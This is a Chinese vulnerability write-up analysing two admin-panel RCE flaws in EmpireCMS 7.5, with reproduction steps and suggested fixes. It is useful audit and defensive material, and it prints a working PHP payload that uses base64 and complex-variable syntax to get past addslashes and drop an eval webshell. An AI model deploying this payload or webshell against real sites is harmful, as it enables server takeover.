帝国(EmpireCMS)7.5的两个后台RCE审计
字数 1218 2025-08-27 12:33:49

EmpireCMS 7.5 后台RCE漏洞分析与利用

漏洞概述

本文详细分析 EmpireCMS 7.5 版本中存在的两个后台RCE(远程代码执行)漏洞,包括漏洞原理、利用方式及修复方案。这两个漏洞都存在于后台管理功能中,允许攻击者在服务器上执行任意代码。

漏洞一:自定义页面功能RCE

漏洞位置

e/admin/ecmscom.php 文件中的 AddUserpage 函数

漏洞原理

  1. 漏洞触发流程

    • 后台增加自定义页面功能
    • 程序会在根目录生成一个shell.php文件
    • 访问该文件显示phpinfo()结果
  2. 关键函数分析

    • RepPhpAspJspcode 函数负责对输入内容进行过滤,但默认情况下 $public_r[candocode] 为null,导致过滤失效
    • WriteFiletext 函数没有任何过滤,直接写入文件内容
  3. 实际利用方式

    • 漏洞实际上是在 e/data/tmp 目录下以模板文件形式写入webshell
    • 通过 ob_get_contents 读取缓冲区输出,将结果写入根目录的shell.php
    • 这是一个表面上的getshell,实际上是RCE

漏洞复现步骤

  1. 访问后台自定义页面功能
  2. 提交恶意内容
  3. 系统会在根目录生成shell.php文件
  4. 访问该文件可看到执行结果

漏洞修复方案

设置 $public_r[candocode] 为true,启用内容过滤

漏洞二:后台模板功能RCE到Getshell

漏洞位置

e/admin/template/ListIndexpage.php 文件中的 AddIndexpage 函数

漏洞原理

  1. 漏洞触发流程

    • 后台增加首页模板方案
    • 系统将模板内容存入数据库
    • 启用方案时从数据库读取并执行
  2. 关键函数分析

    • AddIndexpage 函数将模板内容存入 enewsindexpage
    • 仅使用 eaddslashes2 (内部调用addslashes)进行过滤,无法防御命令执行
    • NewsBq 函数调用 WriteFiletext 写入文件并包含执行
  3. 利用方式

    • 使用复杂变量绕过addslashes限制
    • 构造恶意代码存入数据库
    • 启用方案时触发代码执行

漏洞复现步骤

  1. 构造payload:
<?php 
$aa = base64_decode("ZWNobyAnPD9waHAgZXZhbCgkX1JFUVVFU1RbaHBdKTsnPnNoZWxsLnBocA");
${(system)($aa)};
?>

(其中base64解码后为:echo '<?php eval($_REQUEST[hp]);'>shell.php)

  1. 在后台模板功能处提交payload
  2. 点击"启用此方案"
  3. 系统会在 e/admin/template/ 目录下生成shell.php

漏洞修复方案

eaddslashes2 函数中增加更严格的过滤机制

总结

这两个漏洞都源于对用户输入过滤不严,结合文件写入功能导致RCE。攻击者需要具备后台权限才能利用这些漏洞,但仍然对系统安全构成严重威胁。建议管理员及时更新系统或按照修复方案进行修补。

EmpireCMS 7.5 后台RCE漏洞分析与利用 漏洞概述 本文详细分析 EmpireCMS 7.5 版本中存在的两个后台RCE(远程代码执行)漏洞,包括漏洞原理、利用方式及修复方案。这两个漏洞都存在于后台管理功能中,允许攻击者在服务器上执行任意代码。 漏洞一:自定义页面功能RCE 漏洞位置 e/admin/ecmscom.php 文件中的 AddUserpage 函数 漏洞原理 漏洞触发流程 : 后台增加自定义页面功能 程序会在根目录生成一个shell.php文件 访问该文件显示phpinfo()结果 关键函数分析 : RepPhpAspJspcode 函数负责对输入内容进行过滤,但默认情况下 $public_r[candocode] 为null,导致过滤失效 WriteFiletext 函数没有任何过滤,直接写入文件内容 实际利用方式 : 漏洞实际上是在 e/data/tmp 目录下以模板文件形式写入webshell 通过 ob_get_contents 读取缓冲区输出,将结果写入根目录的shell.php 这是一个表面上的getshell,实际上是RCE 漏洞复现步骤 访问后台自定义页面功能 提交恶意内容 系统会在根目录生成shell.php文件 访问该文件可看到执行结果 漏洞修复方案 设置 $public_r[candocode] 为true,启用内容过滤 漏洞二:后台模板功能RCE到Getshell 漏洞位置 e/admin/template/ListIndexpage.php 文件中的 AddIndexpage 函数 漏洞原理 漏洞触发流程 : 后台增加首页模板方案 系统将模板内容存入数据库 启用方案时从数据库读取并执行 关键函数分析 : AddIndexpage 函数将模板内容存入 enewsindexpage 表 仅使用 eaddslashes2 (内部调用addslashes)进行过滤,无法防御命令执行 NewsBq 函数调用 WriteFiletext 写入文件并包含执行 利用方式 : 使用复杂变量绕过addslashes限制 构造恶意代码存入数据库 启用方案时触发代码执行 漏洞复现步骤 构造payload: (其中base64解码后为: echo '<?php eval($_REQUEST[hp]);'>shell.php ) 在后台模板功能处提交payload 点击"启用此方案" 系统会在 e/admin/template/ 目录下生成shell.php 漏洞修复方案 在 eaddslashes2 函数中增加更严格的过滤机制 总结 这两个漏洞都源于对用户输入过滤不严,结合文件写入功能导致RCE。攻击者需要具备后台权限才能利用这些漏洞,但仍然对系统安全构成严重威胁。建议管理员及时更新系统或按照修复方案进行修补。